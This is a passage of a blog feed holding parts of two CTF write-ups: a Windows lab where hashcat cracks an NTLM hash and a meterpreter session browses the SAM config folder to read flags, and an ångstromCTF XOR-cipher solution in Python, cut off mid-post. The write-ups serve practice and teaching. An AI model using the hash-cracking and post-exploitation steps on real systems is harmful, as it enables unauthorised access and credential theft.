&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;Jon&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the cracked password?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;In &lt;code&gt;hashcat&lt;/code&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-D 2&lt;/code&gt; is used to use the GPU for hash cracking.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-m 1000&lt;/code&gt; is used to crack Windows NTLM hash
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;hashcat &lt;span class="nt"&gt;-D&lt;/span&gt; 2 &lt;span class="nt"&gt;-m&lt;/span&gt; 1000 &lt;span class="s1"&gt;'ffb43f0de35be4d9917ac0cc8ad57f8d'&lt;/span&gt; rockyou.txt
ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NTLM
Hash.Target......: ffb43f0de35be4d9917ac0cc8ad57f8d
Time.Started.....: Tue May 11 16:49:03 2021 &lt;span class="o"&gt;(&lt;/span&gt;6 secs&lt;span class="o"&gt;)&lt;/span&gt;
Time.Estimated...: Tue May 11 16:49:09 2021 &lt;span class="o"&gt;(&lt;/span&gt;0 secs&lt;span class="o"&gt;)&lt;/span&gt;
Guess.Base.......: File &lt;span class="o"&gt;(&lt;/span&gt;rockyou.txt&lt;span class="o"&gt;)&lt;/span&gt;
Guess.Queue......: 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
Speed.#2.........:  1844.3 kH/s &lt;span class="o"&gt;(&lt;/span&gt;7.92ms&lt;span class="o"&gt;)&lt;/span&gt; @ Accel:128 Loops:1 Thr:8 Vec:1
Recovered........: 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt; Digests
Progress.........: 10223616/14344384 &lt;span class="o"&gt;(&lt;/span&gt;71.27%&lt;span class="o"&gt;)&lt;/span&gt;
Rejected.........: 0/10223616 &lt;span class="o"&gt;(&lt;/span&gt;0.00%&lt;span class="o"&gt;)&lt;/span&gt;
Restore.Point....: 10174464/14344384 &lt;span class="o"&gt;(&lt;/span&gt;70.93%&lt;span class="o"&gt;)&lt;/span&gt;
Restore.Sub.#2...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#2....: amby6931 -&amp;gt; alisonodonnell1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: &lt;code&gt;alqfna22&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Find flags!
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Flag1? This flag can be found at the system root.
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; pwd
C:\Windows\system32
meterpreter &amp;gt; cd C:/
meterpreter &amp;gt; dir
Listing: C:\
============

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2009-07-14 13:18:56 +1000  $Recycle.Bin
40777/rwxrwxrwx   0       dir   2009-07-14 15:08:56 +1000  Documents and Settings
40777/rwxrwxrwx   0       dir   2009-07-14 13:20:08 +1000  PerfLogs
40555/r-xr-xr-x   4096    dir   2009-07-14 13:20:08 +1000  Program Files
40555/r-xr-xr-x   4096    dir   2009-07-14 13:20:08 +1000  Program Files (x86)
40777/rwxrwxrwx   4096    dir   2009-07-14 13:20:08 +1000  ProgramData
40777/rwxrwxrwx   0       dir   2018-12-13 14:13:22 +1100  Recovery
40777/rwxrwxrwx   4096    dir   2018-12-13 10:01:17 +1100  System Volume Information
40555/r-xr-xr-x   4096    dir   2009-07-14 13:20:08 +1000  Users
40777/rwxrwxrwx   16384   dir   2009-07-14 13:20:08 +1000  Windows
100666/rw-rw-rw-  24      fil   2018-12-13 14:47:39 +1100  flag1.txt
0000/---------    455120  fif   1970-01-09 06:27:28 +1000  hiberfil.sys
0000/---------    455120  fif   1970-01-09 06:27:28 +1000  pagefile.sys

meterpreter &amp;gt; cat flag1.txt 
flag{access_the_machine}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag 1&lt;/strong&gt;: &lt;code&gt;flag{access_the_machine}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Flag2? This flag can be found at the location where passwords are stored within Windows.
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; cd C:/Windows/System32/config
meterpreter &amp;gt; dir
Listing: C:\Windows\System32\config
===================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  28672     fil   2009-07-14 15:32:39 +1000  BCD-Template
100666/rw-rw-rw-  25600     fil   2009-07-14 15:38:35 +1000  BCD-Template.LOG
100666/rw-rw-rw-  18087936  fil   2009-07-14 12:34:08 +1000  COMPONENTS
100666/rw-rw-rw-  1024      fil   2009-07-14 17:07:31 +1000  COMPONENTS.LOG
100666/rw-rw-rw-  13312     fil   2009-07-14 12:34:08 +1000  COMPONENTS.LOG1
100666/rw-rw-rw-  0         fil   2009-07-14 12:34:08 +1000  COMPONENTS.LOG2
100666/rw-rw-rw-  1048576   fil   2021-05-11 16:12:23 +1000  COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.0.regtrans-ms
100666/rw-rw-rw-  1048576   fil   2021-05-11 16:12:23 +1000  COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.1.regtrans-ms
100666/rw-rw-rw-  1048576   fil   2021-05-11 16:12:24 +1000  COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.2.regtrans-ms
100666/rw-rw-rw-  65536     fil   2021-05-11 16:12:23 +1000  COMPONENTS{016888b8-6c6f-11de-8d1d-001e0bcde3ec}.TxR.blf
100666/rw-rw-rw-  65536     fil   2009-07-14 14:54:56 +1000  COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-  524288    fil   2009-07-14 14:54:56 +1000  COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw-  524288    fil   2009-07-14 14:54:56 +1000  COMPONENTS{016888b9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
100666/rw-rw-rw-  262144    fil   2009-07-14 12:34:08 +1000  DEFAULT
100666/rw-rw-rw-  1024      fil   2009-07-14 17:07:31 +1000  DEFAULT.LOG
100666/rw-rw-rw-  177152    fil   2009-07-14 12:34:08 +1000  DEFAULT.LOG1
100666/rw-rw-rw-  0         fil   2009-07-14 12:34:08 +1000  DEFAULT.LOG2
100666/rw-rw-rw-  65536     fil   2019-03-18 09:22:09 +1100  DEFAULT{016888b5-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-  524288    fil   2019-03-18 09:22:09 +1100  DEFAULT{016888b5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw-  524288    fil   2019-03-18 09:22:09 +1100  DEFAULT{016888b5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
40777/rwxrwxrwx   0         dir   2009-07-14 13:20:10 +1000  Journal
40777/rwxrwxrwx   4096      dir   2009-07-14 13:20:10 +1000  RegBack
100666/rw-rw-rw-  262144    fil   2009-07-14 12:34:08 +1000  SAM
100666/rw-rw-rw-  1024      fil   2009-07-14 17:07:31 +1000  SAM.LOG
100666/rw-rw-rw-  21504     fil   2009-07-14 12:34:08 +1000  SAM.LOG1
100666/rw-rw-rw-  0         fil   2009-07-14 12:34:08 +1000  SAM.LOG2
100666/rw-rw-rw-  65536     fil   2019-03-18 09:22:09 +1100  SAM{016888c1-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-  524288    fil   2019-03-18 09:22:09 +1100  SAM{016888c1-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw-  524288    fil   2019-03-18 09:22:09 +1100  SAM{016888c1-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
100666/rw-rw-rw-  262144    fil   2009-07-14 12:34:08 +1000  SECURITY
100666/rw-rw-rw-  1024      fil   2009-07-14 17:07:30 +1000  SECURITY.LOG
100666/rw-rw-rw-  21504     fil   2009-07-14 12:34:08 +1000  SECURITY.LOG1
100666/rw-rw-rw-  0         fil   2009-07-14 12:34:08 +1000  SECURITY.LOG2
100666/rw-rw-rw-  65536     fil   2019-03-18 09:22:08 +1100  SECURITY{016888c5-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-  524288    fil   2019-03-18 09:22:09 +1100  SECURITY{016888c5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw-  524288    fil   2019-03-18 09:22:09 +1100  SECURITY{016888c5-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
100666/rw-rw-rw-  40632320  fil   2009-07-14 12:34:08 +1000  SOFTWARE
100666/rw-rw-rw-  1024      fil   2009-07-14 17:07:30 +1000  SOFTWARE.LOG
100666/rw-rw-rw-  262144    fil   2009-07-14 12:34:08 +1000  SOFTWARE.LOG1
100666/rw-rw-rw-  0         fil   2009-07-14 12:34:08 +1000  SOFTWARE.LOG2
100666/rw-rw-rw-  65536     fil   2019-03-18 09:21:18 +1100  SOFTWARE{016888c9-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-  524288    fil   2019-03-18 09:21:18 +1100  SOFTWARE{016888c9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw-  524288    fil   2019-03-18 09:21:18 +1100  SOFTWARE{016888c9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
100666/rw-rw-rw-  12582912  fil   2009-07-14 12:34:08 +1000  SYSTEM
100666/rw-rw-rw-  1024      fil   2009-07-14 17:07:30 +1000  SYSTEM.LOG
100666/rw-rw-rw-  262144    fil   2009-07-14 12:34:08 +1000  SYSTEM.LOG1
100666/rw-rw-rw-  0         fil   2009-07-14 12:34:08 +1000  SYSTEM.LOG2
100666/rw-rw-rw-  65536     fil   2019-03-18 09:21:15 +1100  SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw-  524288    fil   2019-03-18 09:21:15 +1100  SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw-  524288    fil   2019-03-18 09:21:15 +1100  SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms
40777/rwxrwxrwx   4096      dir   2009-07-14 13:20:10 +1000  TxR
100666/rw-rw-rw-  34        fil   2018-12-13 14:48:22 +1100  flag2.txt
40777/rwxrwxrwx   4096      dir   2009-07-14 13:20:10 +1000  systemprofile

meterpreter &amp;gt; cat flag2.txt 
flag{sam_database_elevated_access}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag 2&lt;/strong&gt;: &lt;code&gt;flag{sam_database_elevated_access}&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Flag3?
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;meterpreter &amp;gt; search -f flag*.txt
Found 3 results...
    c:\flag1.txt (24 bytes)
    c:\Users\Jon\Documents\flag3.txt (37 bytes)
    c:\Windows\System32\config\flag2.txt (34 bytes)
meterpreter &amp;gt; cat C:/Users/Jon/Documents/flag3.txt
flag{admin_documents_can_be_valuable}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag 3&lt;/strong&gt;: &lt;code&gt;flag{admin_documents_can_be_valuable}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>ångstromCTF Exclusive Cipher</title>
      <dc:creator>Omri Bornstein</dc:creator>
      <pubDate>Mon, 03 May 2021 12:36:06 +0000</pubDate>
      <link>https://dev.to/applegamer22/angstromctf-exclusive-cipher-3k4c</link>
      <guid>https://dev.to/applegamer22/angstromctf-exclusive-cipher-3k4c</guid>
      <description>&lt;h1&gt;
  
  
  &lt;a href="https://2021.angstromctf.com/"&gt;ångstromCTF 2021&lt;/a&gt; Exclusive Cipher
&lt;/h1&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Szymański, Ł. (2021). ångstromCTF 2021: Exclusive Cipher. szymanski.ninja. &lt;a href="https://szymanski.ninja/en/ctfwriteups/2021/angstromctf/exclusive-cipher/"&gt;https://szymanski.ninja/en/ctfwriteups/2021/angstromctf/exclusive-cipher/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Question
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Clam decided to return to classic cryptography and revisit the XOR cipher! Here's some hex encoded ciphertext:&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;The key is 5 bytes long, and the flag is somewhere in the message.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Analysis
&lt;/h2&gt;

&lt;p&gt;Assuming 2 hexadecimal digits are equivalent to 1 ASCII characters, a possible key can be found by XORing the ciphertext with the known 5-bytes long substring &lt;code&gt;actf{&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;a href="https://github.com/AppleGamer22/AppleGamer22/tree/master/angstromCTF/crypto/Exclusive_Cipher"&gt;Solution&lt;/a&gt;
&lt;/h2&gt;

&lt;p&gt;In an XOR Cipher, it is known that &lt;code&gt;possible_key = ciphertext ^ known_cleartext&lt;/code&gt;. The python script attached:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;slices the ciphertext to all possible 5 characters-long (assuming 2 hexadecimal digits are equivalent to 1 ASCII characters) sections,&lt;/li&gt;
&lt;li&gt;computes &lt;code&gt;possible_key = ciphertext ^ known_cleartext&lt;/code&gt;, for a known substring of &lt;code&gt;actf{&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;expands the key to the ASCII length of the message,&lt;/li&gt;
&lt;li&gt;rotates the key to deal with cases where the known clear text is not in an index that is a multiple of the key length.

&lt;ul&gt;
&lt;li&gt;Thanks to &lt;a href="https://hashnode.com/@Levon"&gt;@Levon&lt;/a&gt; for this suggestion.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;recomputes the XOR to possibly decode the message&lt;/li&gt;
&lt;li&gt;and prints the possible message as ASCII.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Initial Python Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;doctest&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;testmod&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;textwrap&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;wrap&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="s"&gt;"""
    :param s: list of non-negative integers
    :param t: list of non-negative integers
    :return: XOR of the ith number of both lists
    """&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;expand_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="s"&gt;"""
    :param short_key: list of non-negative integers
    :param size: positive integer
    :return: short_key * (size // len(short_key)) + short_key[:size - len(key_expanded)]

    &amp;gt;&amp;gt;&amp;gt; expand_key([1, 2, 3, 4, 5], 9)
    [1, 2, 3, 4, 5, 1, 2, 3, 4]
    """&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;key_expanded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;short_key&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ii&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_expanded&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="n"&gt;key_expanded&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;short_key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;key_expanded&lt;/span&gt;


&lt;span class="n"&gt;ciphertext_text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"hex-encoded ciphertext: "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;known_cleartext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"known cleartext (with length of key): "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;hint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"hint (such as 'flag'): "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;cipher_ascii&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;letter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letter&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;wrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="n"&gt;known_cleartext_ascii&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;letter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letter&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;known_cleartext&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known_cleartext&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known_cleartext&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt; &lt;span class="n"&gt;known_cleartext_ascii&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;expanded_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;expand_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;message_ascii&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expanded_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;message_text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message_ascii&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;known_cleartext&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;message_text&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;hint&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;message_text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"key: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ('&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;')"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"message: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;message_text&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Improved Python Code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
